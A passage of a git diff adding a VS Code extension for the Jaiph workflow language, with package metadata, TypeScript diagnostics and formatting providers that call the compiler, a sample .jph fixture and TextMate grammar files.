"sha512-6qN4hJdMwfYBtE3YBTTHhoeuUrDBPZmbQaxWAqSALV/MeEnR5z1xd8UKud2RAkFoPkmB+hli1TZSnyi84xz1vQ==", + "deprecated": "Use @exodus/bytes instead for a more spec-conformant and faster implementation", + "dev": true, + "license": "MIT", + "dependencies": { + "iconv-lite": "0.6.3" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/whatwg-mimetype": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-4.0.0.tgz", + "integrity": "sha512-QaKxh0eNIi2mE9p2vEdzfagOKHCcj1pJ56EEHGQOVxp8r9/iszLUUV7v89x9O1p/T+NlTM5W7jW6+cz4Fq1YVg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "dev": true, + "license": "ISC", + "optional": true + }, + "node_modules/wsl-utils": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/wsl-utils/-/wsl-utils-0.1.0.tgz", + "integrity": "sha512-h3Fbisa2nKGPxCpm89Hk33lBLsnaGBvctQopaBSOW/uIs6FTe1ATyAnKFJrzVs9vpGdsTe73WF3V4lIsk4Gacw==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-wsl": "^3.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/xml2js": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/xml2js/-/xml2js-0.5.0.tgz", + "integrity": "sha512-drPFnkQJik/O+uPKpqSgr22mpuFHqKdbS835iAQrUC73L2F5WkboIRd63ai/2Yg6I1jzifPFKH2NTK+cfglkIA==", + "dev": true, + "license": "MIT", + "dependencies": { + "sax": ">=0.6.0", + "xmlbuilder": "~11.0.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/xmlbuilder": { + "version": "11.0.1", + "resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-11.0.1.tgz", + "integrity": "sha512-fDlsI/kFEx7gLvbecc0/ohLG50fugQp8ryHzMTuW9vSa1GJ0XYWKnhsUx7oie3G98+r56aTQIUB4kht42R3JvA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true, + "license": "ISC" + }, + "node_modules/yauzl": { + "version": "2.10.0", + "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", + "integrity": "sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g==", + "dev": true, + "license": "MIT", + "dependencies": { + "buffer-crc32": "~0.2.3", + "fd-slicer": "~1.1.0" + } + }, + "node_modules/yazl": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/yazl/-/yazl-2.5.1.tgz", + "integrity": "sha512-phENi2PLiHnHb6QBVot+dJnaAZ0xosj7p3fWl+znIjBDlnMI2PsZCJZ306BPTFOaHf5qdDEI8x5qFrSOBN5vrw==", + "dev": true, + "license": "MIT", + "dependencies": { + "buffer-crc32": "~0.2.3" + } + } + } +} diff --git a/plugins/vscode/package.json b/plugins/vscode/package.json new file mode 100644 index 00000000..853f666c --- /dev/null +++ b/plugins/vscode/package.json @@ -0,0 +1,125 @@ +{ + "name": "jaiph-syntax-vscode", + "displayName": "Jaiph Syntax", + "description": "Syntax highlighting and compiler diagnostics for the Jaiph orchestration language (.jh files)", + "version": "0.9.0", + "publisher": "jaiph", + "license": "MIT", + "icon": "media/icon.png", + "homepage": "https://jaiph.org", + "main": "./dist/extension.js", + "bugs": { + "url": "https://github.com/jaiphlang/jaiph/issues" + }, + "repository": { + "type": "git", + "url": "https://github.com/jaiphlang/jaiph.git", + "directory": "plugins/vscode" + }, + "activationEvents": [ + "onLanguage:jaiph" + ], + "scripts": { + "compile": "esbuild src/extension.ts --bundle --outfile=dist/extension.js --external:vscode --format=cjs --platform=node --sourcemap", + "watch": "npm run compile -- --watch", + "package": "npm run compile -- --minify && vsce package" + }, + "devDependencies": { + "@types/vscode": "^1.85.0", + "@vscode/vsce": "^3.6.0", + "esbuild": "^0.25.0", + "typescript": "^5.7.0" + }, + "engines": { + "vscode": "^1.85.0" + }, + "categories": [ + "Programming Languages" + ], + "keywords": [ + "jaiph", + "syntax", + "highlighting", + "diagnostics", + "language" + ], + "contributes": { + "languages": [ + { + "id": "jaiph", + "aliases": [ + "Jaiph", + "jaiph" + ], + "extensions": [ + ".jh" + ], + "configuration": "./language-configuration.json" + } + ], + "grammars": [ + { + "language": "jaiph", + "scopeName": "source.jaiph", + "path": "./syntaxes/jaiph.tmLanguage.json", + "embeddedLanguages": { + "meta.embedded.block.shell.jaiph": "shellscript", + "meta.embedded.block.python.jaiph": "python", + "meta.embedded.block.javascript.jaiph": "javascript", + "meta.embedded.block.typescript.jaiph": "typescript", + "meta.embedded.block.ruby.jaiph": "ruby", + "meta.embedded.block.perl.jaiph": "perl", + "meta.embedded.block.lua.jaiph": "lua", + "meta.embedded.block.powershell.jaiph": "powershell", + "meta.embedded.block.php.jaiph": "php", + "meta.embedded.block.markdown.jaiph": "markdown" + } + }, + { + "scopeName": "source.jaiph.embedded.python", + "path": "./syntaxes/jaiph-python-injection.tmLanguage.json", + "injectTo": [ + "source.jaiph" + ], + "embeddedLanguages": { + "meta.embedded.block.python.jaiph": "python" + } + }, + { + "scopeName": "source.jaiph.embedded.javascript", + "path": "./syntaxes/jaiph-javascript-injection.tmLanguage.json", + "injectTo": [ + "source.jaiph" + ], + "embeddedLanguages": { + "meta.embedded.block.javascript.jaiph": "javascript" + } + }, + { + "scopeName": "source.jaiph.embedded.markdown", + "path": "./syntaxes/jaiph-markdown-injection.tmLanguage.json", + "injectTo": [ + "source.jaiph" + ], + "embeddedLanguages": { + "meta.embedded.block.markdown.jaiph": "markdown" + } + } + ], + "configuration": { + "title": "Jaiph", + "properties": { + "jaiph.compilerPath": { + "type": "string", + "default": "jaiph", + "description": "Path to the Jaiph compiler binary (absolute path or command name on PATH)" + }, + "jaiph.diagnostics.enabled": { + "type": "boolean", + "default": true, + "description": "Enable compiler diagnostics on save and file open" + } + } + } + } +} diff --git a/plugins/vscode/src/diagnostics.ts b/plugins/vscode/src/diagnostics.ts new file mode 100644 index 00000000..08514261 --- /dev/null +++ b/plugins/vscode/src/diagnostics.ts @@ -0,0 +1,70 @@ +import * as vscode from "vscode"; +import { execFile } from "child_process"; + +interface CompileDiagnostic { + file: string; + line: number; + col: number; + code: string; + message: string; +} + +function toDiagnostic(err: CompileDiagnostic): vscode.Diagnostic { + const line = Math.max(0, err.line - 1); + const col = Math.max(0, err.col - 1); + const range = new vscode.Range(line, col, line, col + 1); + const diag = new vscode.Diagnostic(range, err.message, vscode.DiagnosticSeverity.Error); + diag.source = "jaiph"; + diag.code = err.code; + return diag; +} + +export async function runDiagnostics( + document: vscode.TextDocument, + collection: vscode.DiagnosticCollection, +): Promise { + const config = vscode.workspace.getConfiguration("jaiph"); + if (!config.get("diagnostics.enabled", true)) return; + + const compilerPath = config.get("compilerPath", "jaiph"); + const filePath = document.uri.fsPath; + const cwd = vscode.workspace.getWorkspaceFolder(document.uri)?.uri.fsPath; + + try { + const stdout = await new Promise((resolve, reject) => { + execFile( + compilerPath, + ["compile", "--json", filePath], + { cwd, timeout: 15_000 }, + (error, stdout, stderr) => { + // compile exits non-zero on errors but still prints JSON to stdout + if (stdout) { + resolve(stdout); + } else { + reject(error ?? new Error(stderr)); + } + }, + ); + }); + + const errors: CompileDiagnostic[] = JSON.parse(stdout); + const byFile = new Map(); + + for (const err of errors) { + const uri = vscode.Uri.file(err.file).toString(); + if (!byFile.has(uri)) byFile.set(uri, []); + byFile.get(uri)!.push(toDiagnostic(err)); + } + + collection.clear(); + for (const [uriStr, diags] of byFile) { + collection.set(vscode.Uri.parse(uriStr), diags); + } + + if (errors.length === 0) { + collection.delete(document.uri); + } + } catch { + // Compiler not found or crashed — silently ignore + } +} diff --git a/plugins/vscode/src/extension.ts b/plugins/vscode/src/extension.ts new file mode 100644 index 00000000..53a6f0bf --- /dev/null +++ b/plugins/vscode/src/extension.ts @@ -0,0 +1,48 @@ +import * as vscode from "vscode"; +import { runDiagnostics } from "./diagnostics"; +import { JaiphFormattingProvider } from "./formatting"; + +const LANGUAGE_ID = "jaiph"; + +let diagnosticCollection: vscode.DiagnosticCollection; + +export function activate(context: vscode.ExtensionContext): void { + diagnosticCollection = vscode.languages.createDiagnosticCollection(LANGUAGE_ID); + context.subscriptions.push(diagnosticCollection); + + context.subscriptions.push( + vscode.workspace.onDidSaveTextDocument((doc) => { + if (doc.languageId === LANGUAGE_ID) { + runDiagnostics(doc, diagnosticCollection); + } + }), + ); + + context.subscriptions.push( + vscode.workspace.onDidOpenTextDocument((doc) => { + if (doc.languageId === LANGUAGE_ID) { + runDiagnostics(doc, diagnosticCollection); + } + }), + ); + + // Run on all already-open jaiph files + for (const doc of vscode.workspace.textDocuments) { + if (doc.languageId === LANGUAGE_ID) { + runDiagnostics(doc, diagnosticCollection); + } + } + + // Register formatting provider + const formatter = new JaiphFormattingProvider(); + context.subscriptions.push( + vscode.languages.registerDocumentFormattingEditProvider( + { language: LANGUAGE_ID }, + formatter, + ), + ); +} + +export function deactivate(): void { + diagnosticCollection?.dispose(); +} diff --git a/plugins/vscode/src/formatting.ts b/plugins/vscode/src/formatting.ts new file mode 100644 index 00000000..6e2b6cce --- /dev/null +++ b/plugins/vscode/src/formatting.ts @@ -0,0 +1,45 @@ +import * as vscode from "vscode"; +import { execFile } from "child_process"; + +export class JaiphFormattingProvider implements vscode.DocumentFormattingEditProvider { + provideDocumentFormattingEdits( + document: vscode.TextDocument, + options: vscode.FormattingOptions, + ): Promise { + const config = vscode.workspace.getConfiguration("jaiph"); + const compilerPath = config.get("compilerPath", "jaiph"); + const filePath = document.uri.fsPath; + const cwd = vscode.workspace.getWorkspaceFolder(document.uri)?.uri.fsPath; + + const args = ["format", "--indent", String(options.tabSize), filePath]; + + return new Promise((resolve) => { + execFile(compilerPath, args, { cwd, timeout: 15_000 }, (error, _stdout, stderr) => { + if (error) { + if (stderr) { + vscode.window.showErrorMessage(`Jaiph format: ${stderr.trim()}`); + } + resolve([]); + return; + } + + // jaiph format writes in-place; re-read the file and diff + const fs = require("fs") as typeof import("fs"); + try { + const formatted = fs.readFileSync(filePath, "utf-8"); + const fullRange = new vscode.Range( + document.positionAt(0), + document.positionAt(document.getText().length), + ); + if (formatted !== document.getText()) { + resolve([vscode.TextEdit.replace(fullRange, formatted)]); + } else { + resolve([]); + } + } catch { + resolve([]); + } + }); + }); + } +} diff --git a/plugins/vscode/syntaxes/fixtures/README.md b/plugins/vscode/syntaxes/fixtures/README.md new file mode 100644 index 00000000..e961489d --- /dev/null +++ b/plugins/vscode/syntaxes/fixtures/README.md @@ -0,0 +1,10 @@ +# Syntax Fixture + +Use `sample.jph` for manual highlighting checks in the Extension Development Host. + +Checklist: + +- Jaiph keywords are highlighted (`import`, `rule`, `workflow`, `ensure`, `run`, `prompt`, `if`, `then`, `fi`) +- `security.scan` is scoped as a qualified reference +- Strings and comments are highlighted +- Shell commands inside blocks (`test`, `npm run build`) get shell-like tokenization diff --git a/plugins/vscode/syntaxes/fixtures/sample.jph b/plugins/vscode/syntaxes/fixtures/sample.jph new file mode 100644 index 00000000..29c774db --- /dev/null +++ b/plugins/vscode/syntaxes/fixtures/sample.jph @@ -0,0 +1,217 @@ +#!/usr/bin/env jaiph + +import "security.jh" as security +import "bootstrap.jh" as bootstrap + +# Top-level configuration +config { + agent.backend = "claude" + agent.default_model = "claude-sonnet" + run.debug = false + runtime.docker_enabled = true + runtime.docker_image = "node:20" +} + +# Top-level constants +const REPO = "my-project" +const MAX_RETRIES = 3 +const GREETING = """ +Hello, +welcome to the project. +""" + +# Channel declarations +channel alerts +channel reports -> analyst +channel findings -> handler_a, handler_b + +# Named scripts — single-line backtick +script check_file = `test -f "$1"` +script greet = `echo "Hello $1"` + +# Named scripts — fenced shell (default) +script setup_env = ``` +export BASE_DIR=$(pwd) +mkdir -p "$BASE_DIR/output" +echo "Environment initialized" +``` + +# Named scripts — fenced Python +script analyze = ```python3 +import sys +print(f"Analyzing {sys.argv[1]}") +``` + +# Named scripts — fenced Node/JS +script transform = ```node +const data = process.argv[2]; +console.log(JSON.stringify({ result: data })); +``` + +# Rule with named parameters +rule check_deps(path) { + run check_file(path) + return "${path}" + log "Checked: ${path}" +} + +# Exported rule +export rule validate_all() { + ensure check_deps("package.json") + run setup_env() + const result = run greet(REPO) + log result + + match status { + "ok" => "all good" + /err/ => "something went wrong" + _ => "unknown" + } + + return "${status}" +} + +# Workflow with config override, conditionals, channels +export workflow default(task, role) { + config { + agent.default_model = "claude-opus" + } + + # If with comparison operators + const status = run greet(REPO) + if status == "ok" { + log "Dependencies OK" + } else if status != "error" { + run bootstrap.nodejs() + } else { + log "Skipping" + } + + # If with regex match operators + if status =~ /^success/ { + log "Matched success" + } else if status !~ /fail/ { + log "No failure found" + } + + # Ensure with recover bindings + ensure validate_all() recover (failure) { + log "Validation failed: ${failure}" + run setup_env() + } + + # Run with recover bindings + run setup_env() recover (err) { + log "Setup failed: ${err}" + run bootstrap.nodejs() + } + + # Single-statement recover + ensure check_deps("package.json") recover (failure) run setup_env() + + # Prompt — single-line + prompt "Review the code for security issues" + answer = prompt "Summarize the report" returns "{ type: string, risk: string }" + log "Risk: ${answer.risk}" + + # Prompt — bare identifier + const text = "Analyze this code" + const reply = prompt text returns "{ summary: string }" + log "Summary: ${reply.summary}" + + # Prompt — triple-quoted multiline + const analysis = prompt """ + You are a helpful assistant. + Analyze the following: ${task} + Role: ${role} + """ + + # Inline captures in strings + log "Got: ${run greet(REPO)}" + log "Status: ${ensure check_deps("package.json")}" + + # Inline script — single-line backtick + run `echo hello`() + const ts = run `date +%s`() + x = run `echo $1-$2`("hello", "world") + + # Inline script — fenced shell + run ``` +echo "line one" +echo "line two" +```() + + # Inline script — fenced python + const py_result = run ```python3 +import sys +print(f"args: {sys.argv[1:]}") +```("arg1", "arg2") + + # Inline script — fenced node + run ```node +console.log("from node"); +```() + + # Async execution + run async security.scan_passes() + run async bootstrap.nodejs() + + # Channel send + alerts <- "Build started" + reports <- ${analysis} + findings <- run greet(REPO) + alerts <- """ + Build report for ${REPO}: + Status: complete + """ + + # Log with bare identifier and triple-quoted + log analysis + logerr "Warning: check failed" + log """ + Multi-line log + for ${REPO} + """ + + # Const with triple-quoted + const msg = """ + Hello ${task}, + Welcome. + """ + + # Fail with triple-quoted + fail """ + Multiple issues found: + - missing deps + - invalid config + """ + + # Return forms + return "${analysis}" + return run greet(REPO) + return ensure check_deps("package.json") + return match status { + "ok" => "pass" + _ => "fail" + } + + # Const with match expression + const label = match status { + "ok" => "success" + /err/ => "error" + _ => "unknown" + } +} + +# Test block +test "validate workflow" { + mock security.scan_passes + respond "ok" + allow_failure + + run default("build docs", "writer") + + expectContain "complete" + expectNotContain "error" + expectEqual answer "expected" +} diff --git a/plugins/vscode/syntaxes/jaiph-javascript-injection.tmLanguage.json b/plugins/vscode/syntaxes/jaiph-javascript-injection.tmLanguage.json new file mode 100644 index 00000000..e83e692a --- /dev/null +++ b/plugins/vscode/syntaxes/jaiph-javascript-injection.tmLanguage.json @@ -0,0 +1,7 @@ +{ + "scopeName": "source.jaiph.embedded.javascript", + "injectionSelector": "L:meta.embedded.block.javascript.jaiph", + "patterns": [ + { "include": "source.js" } + ] +} diff --git a/plugins/vscode/syntaxes/jaiph-markdown-injection.tmLanguage.json b/plugins/vscode/syntaxes/jaiph-markdown-injection.tmLanguage.json new file mode 100644 index 00000000..05ff6dbe --- /dev/null +++ b/plugins/vscode/syntaxes/jaiph-markdown-injection.tmLanguage.json @@ -0,0 +1,7 @@ +{ + "scopeName": "source.jaiph.embedded.markdown", + "injectionSelector": "L:meta.embedded.block.markdown.jaiph", + "patterns": [ + { "include": "text.html.markdown" } + ] +} diff --git a/plugins/vscode/syntaxes/jaiph-python-injection.tmLanguage.json b/plugins/vscode/syntaxes/jaiph-python-injection.tmLanguage.json new file mode 100644 index 00000000..3bbec27c --- /dev/null +++ b/plugins/vscode/syntaxes/jaiph-python-injection.tmLanguage.json @@ -0,0 +1,7 @@ +{ + "scopeName": "source.jaiph.embedded.python", + "injectionSelector": "L:meta.embedded.block.python.jaiph", + "patterns": [ + { "include": "source.python" } + ] +} diff --git a/plugins/vscode/syntaxes/jaiph.tmLanguage.json b/plugins/vscode/syntaxes/jaiph.tmLanguage.json new file mode 100644 index 00000000..58798c9d --- /dev/null +++ b/plugins/vscode/syntaxes/jaiph.tmLanguage.json @@ -0,0 +1,1000 @@ +{ + "name": "Jaiph", + "scopeName": "source.jaiph", + "fileTypes": ["jh"], + "patterns": [ + { "include": "#shebang" }, + { "include": "#comments" }, + { "include": "#import-statement" }, + { "include": "#script-fenced-blocks" }, + { "include": "#inline-script-fenced-blocks" }, + { "include": "#fence-close" }, + { "include": "#prompt-triple-quoted" }, + { "include": "#triple-quoted-string" }, + { "include": "#declarations" }, + { "include": "#script-declaration" }, + { "include": "#variable-declaration" }, + { "include": "#channel-declaration" }, + { "include": "#config-keys" }, + { "include": "#if-statement" }, + { "include": "#conditionals" }, + { "include": "#recover-bindings" }, + { "include": "#channels" }, + { "include": "#match-patterns" }, + { "include": "#keywords" }, + { "include": "#returns-clause" }, + { "include": "#constants" }, + { "include": "#inline-script-backtick" }, + { "include": "#variable-reference" }, + { "include": "#references" }, + { "include": "#strings" }, + { "include": "#operators" } + ], + "repository": { + "shebang": { + "patterns": [ + { + "name": "comment.line.shebang.jaiph", + "match": "\\A#!.*$" + } + ] + }, + "comments": { + "patterns": [ + { + "name": "comment.line.number-sign.jaiph", + "match": "#.*$" + } + ] + }, + "import-statement": { + "patterns": [ + { + "name": "meta.import.jaiph", + "match": "\\b(import)\\b\\s+(\"(?:\\\\.|[^\"\\\\])*\")\\s+\\b(as)\\b\\s+([A-Za-z_][A-Za-z0-9_]*)", + "captures": { + "1": { "name": "keyword.control.import.jaiph" }, + "2": { "name": "string.quoted.double.jaiph" }, + "3": { "name": "keyword.control.import.jaiph" }, + "4": { "name": "entity.name.namespace.jaiph" } + } + } + ] + }, + + "script-fenced-blocks": { + "patterns": [ + { + "comment": "script NAME = ```python3 ... ```", + "name": "meta.declaration.script.fenced.python.jaiph", + "begin": "^\\s*(?:(export)\\s+)?(script)\\s+([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*(```)(python3|python)\\s*$", + "beginCaptures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "storage.type.script.jaiph" }, + "3": { "name": "entity.name.function.script.jaiph" }, + "4": { "name": "keyword.operator.assignment.jaiph" }, + "5": { "name": "punctuation.definition.fence.begin.jaiph" }, + "6": { "name": "entity.name.tag.language.jaiph" } + }, + "while": "^(?!\\s*```\\s*$)", + "contentName": "meta.embedded.block.python.jaiph", + "patterns": [{ "include": "source.python" }] + }, + { + "comment": "script NAME = ```node ... ```", + "name": "meta.declaration.script.fenced.javascript.jaiph", + "begin": "^\\s*(?:(export)\\s+)?(script)\\s+([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*(```)(node)\\s*$", + "beginCaptures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "storage.type.script.jaiph" }, + "3": { "name": "entity.name.function.script.jaiph" }, + "4": { "name": "keyword.operator.assignment.jaiph" }, + "5": { "name": "punctuation.definition.fence.begin.jaiph" }, + "6": { "name": "entity.name.tag.language.jaiph" } + }, + "while": "^(?!\\s*```\\s*$)", + "contentName": "meta.embedded.block.javascript.jaiph", + "patterns": [{ "include": "source.js" }] + }, + { + "comment": "script NAME = ```ruby ... ```", + "name": "meta.declaration.script.fenced.ruby.jaiph", + "begin": "^\\s*(?:(export)\\s+)?(script)\\s+([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*(```)(ruby)\\s*$", + "beginCaptures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "storage.type.script.jaiph" }, + "3": { "name": "entity.name.function.script.jaiph" }, + "4": { "name": "keyword.operator.assignment.jaiph" }, + "5": { "name": "punctuation.definition.fence.begin.jaiph" }, + "6": { "name": "entity.name.tag.language.jaiph" } + }, + "while": "^(?!\\s*```\\s*$)", + "contentName": "meta.embedded.block.ruby.jaiph", + "patterns": [{ "include": "source.ruby" }] + }, + { + "comment": "script NAME = ```perl ... ```", + "name": "meta.declaration.script.fenced.perl.jaiph", + "begin": "^\\s*(?:(export)\\s+)?(script)\\s+([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*(```)(perl)\\s*$", + "beginCaptures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "storage.type.script.jaiph" }, + "3": { "name": "entity.name.function.script.jaiph" }, + "4": { "name": "keyword.operator.assignment.jaiph" }, + "5": { "name": "punctuation.definition.fence.begin.jaiph" }, + "6": { "name": "entity.name.tag.language.jaiph" } + }, + "while": "^(?!\\s*```\\s*$)", + "contentName": "meta.embedded.block.perl.jaiph", + "patterns": [{ "include": "source.perl" }] + }, + { + "comment": "script NAME = ```lua ... ```", + "name": "meta.declaration.script.fenced.lua.jaiph", + "begin": "^\\s*(?:(export)\\s+)?(script)\\s+([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*(```)(lua)\\s*$", + "beginCaptures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "storage.type.script.jaiph" }, + "3": { "name": "entity.name.function.script.jaiph" }, + "4": { "name": "keyword.operator.assignment.jaiph" }, + "5": { "name": "punctuation.definition.fence.begin.jaiph" }, + "6": { "name": "entity.name.tag.language.jaiph" } + }, + "while": "^(?!\\s*```\\s*$)", + "contentName": "meta.embedded.block.lua.jaiph", + "patterns": [{ "include": "source.lua" }] + }, + { + "comment": "script NAME = ```pwsh|powershell ... ```", + "name": "meta.declaration.script.fenced.powershell.jaiph", + "begin": "^\\s*(?:(export)\\s+)?(script)\\s+([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*(```)(pwsh|powershell)\\s*$", + "beginCaptures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "storage.type.script.jaiph" }, + "3": { "name": "entity.name.function.script.jaiph" }, + "4": { "name": "keyword.operator.assignment.jaiph" }, + "5": { "name": "punctuation.definition.fence.begin.jaiph" }, + "6": { "name": "entity.name.tag.language.jaiph" } + }, + "while": "^(?!\\s*```\\s*$)", + "contentName": "meta.embedded.block.powershell.jaiph", + "patterns": [{ "include": "source.powershell" }] + }, + { + "comment": "script NAME = ```deno ... ```", + "name": "meta.declaration.script.fenced.deno.jaiph", + "begin": "^\\s*(?:(export)\\s+)?(script)\\s+([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*(```)(deno)\\s*$", + "beginCaptures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "storage.type.script.jaiph" }, + "3": { "name": "entity.name.function.script.jaiph" }, + "4": { "name": "keyword.operator.assignment.jaiph" }, + "5": { "name": "punctuation.definition.fence.begin.jaiph" }, + "6": { "name": "entity.name.tag.language.jaiph" } + }, + "while": "^(?!\\s*```\\s*$)", + "contentName": "meta.embedded.block.javascript.jaiph", + "patterns": [{ "include": "source.js" }] + }, + { + "comment": "script NAME = ```ts-node|tsx|typescript ... ```", + "name": "meta.declaration.script.fenced.typescript.jaiph", + "begin": "^\\s*(?:(export)\\s+)?(script)\\s+([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*(```)(typescript)\\s*$", + "beginCaptures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "storage.type.script.jaiph" }, + "3": { "name": "entity.name.function.script.jaiph" }, + "4": { "name": "keyword.operator.assignment.jaiph" }, + "5": { "name": "punctuation.definition.fence.begin.jaiph" }, + "6": { "name": "entity.name.tag.language.jaiph" } + }, + "while": "^(?!\\s*```\\s*$)", + "contentName": "meta.embedded.block.typescript.jaiph", + "patterns": [{ "include": "source.ts" }] + }, + { + "comment": "script NAME = ```bun ... ```", + "name": "meta.declaration.script.fenced.bun.jaiph", + "begin": "^\\s*(?:(export)\\s+)?(script)\\s+([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*(```)(bun)\\s*$", + "beginCaptures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "storage.type.script.jaiph" }, + "3": { "name": "entity.name.function.script.jaiph" }, + "4": { "name": "keyword.operator.assignment.jaiph" }, + "5": { "name": "punctuation.definition.fence.begin.jaiph" }, + "6": { "name": "entity.name.tag.language.jaiph" } + }, + "while": "^(?!\\s*```\\s*$)", + "contentName": "meta.embedded.block.javascript.jaiph", + "patterns": [{ "include": "source.js" }] + }, + { + "comment": "script NAME = ```php ... ```", + "name": "meta.declaration.script.fenced.php.jaiph", + "begin": "^\\s*(?:(export)\\s+)?(script)\\s+([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*(```)(php)\\s*$", + "beginCaptures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "storage.type.script.jaiph" }, + "3": { "name": "entity.name.function.script.jaiph" }, + "4": { "name": "keyword.operator.assignment.jaiph" }, + "5": { "name": "punctuation.definition.fence.begin.jaiph" }, + "6": { "name": "entity.name.tag.language.jaiph" } + }, + "while": "^(?!\\s*```\\s*$)", + "contentName": "meta.embedded.block.php.jaiph", + "patterns": [{ "include": "source.php" }] + }, + { + "comment": "script NAME = ```[tag]? ... ``` (shell default)", + "name": "meta.declaration.script.fenced.shell.jaiph", + "begin": "^\\s*(?:(export)\\s+)?(script)\\s+([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*(```)([A-Za-z_][A-Za-z0-9_]*)?\\s*$", + "beginCaptures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "storage.type.script.jaiph" }, + "3": { "name": "entity.name.function.script.jaiph" }, + "4": { "name": "keyword.operator.assignment.jaiph" }, + "5": { "name": "punctuation.definition.fence.begin.jaiph" }, + "6": { "name": "entity.name.tag.language.jaiph" } + }, + "while": "^(?!\\s*```\\s*$)", + "contentName": "meta.embedded.block.shell.jaiph", + "patterns": [{ "include": "source.shell" }] + } + ] + }, + + "fence-close": { + "patterns": [ + { + "name": "punctuation.definition.fence.end.jaiph", + "match": "^\\s*```\\s*$" + } + ] + }, + + "inline-script-fenced-blocks": { + "patterns": [ + { + "comment": "[const name =] run ```python3 ... ```(args)", + "name": "meta.inline-script.fenced.python.jaiph", + "begin": "(?:(?:(const)\\s+)?([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*)?(run)\\s+(```)(python3|python)\\s*$", + "beginCaptures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "variable.other.jaiph" }, + "3": { "name": "keyword.operator.assignment.jaiph" }, + "4": { "name": "keyword.control.command.jaiph" }, + "5": { "name": "punctuation.definition.fence.begin.jaiph" }, + "6": { "name": "entity.name.tag.language.jaiph" } + }, + "end": "^\\s*(```)(\\()(.*?)(\\))\\s*$", + "endCaptures": { + "1": { "name": "punctuation.definition.fence.end.jaiph" }, + "2": { "name": "punctuation.section.parens.begin.jaiph" }, + "3": { "name": "variable.parameter.jaiph" }, + "4": { "name": "punctuation.section.parens.end.jaiph" } + }, + "contentName": "meta.embedded.block.python.jaiph", + "patterns": [{ "include": "source.python" }] + }, + { + "comment": "[const name =] run ```node ... ```(args)", + "name": "meta.inline-script.fenced.javascript.jaiph", + "begin": "(?:(?:(const)\\s+)?([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*)?(run)\\s+(```)(node)\\s*$", + "beginCaptures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "variable.other.jaiph" }, + "3": { "name": "keyword.operator.assignment.jaiph" }, + "4": { "name": "keyword.control.command.jaiph" }, + "5": { "name": "punctuation.definition.fence.begin.jaiph" }, + "6": { "name": "entity.name.tag.language.jaiph" } + }, + "end": "^\\s*(```)(\\()(.*?)(\\))\\s*$", + "endCaptures": { + "1": { "name": "punctuation.definition.fence.end.jaiph" }, + "2": { "name": "punctuation.section.parens.begin.jaiph" }, + "3": { "name": "variable.parameter.jaiph" }, + "4": { "name": "punctuation.section.parens.end.jaiph" } + }, + "contentName": "meta.embedded.block.javascript.jaiph", + "patterns": [{ "include": "source.js" }] + }, + { + "comment": "[const name =] run ```ruby ... ```(args)", + "name": "meta.inline-script.fenced.ruby.jaiph", + "begin": "(?:(?:(const)\\s+)?([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*)?(run)\\s+(```)(ruby)\\s*$", + 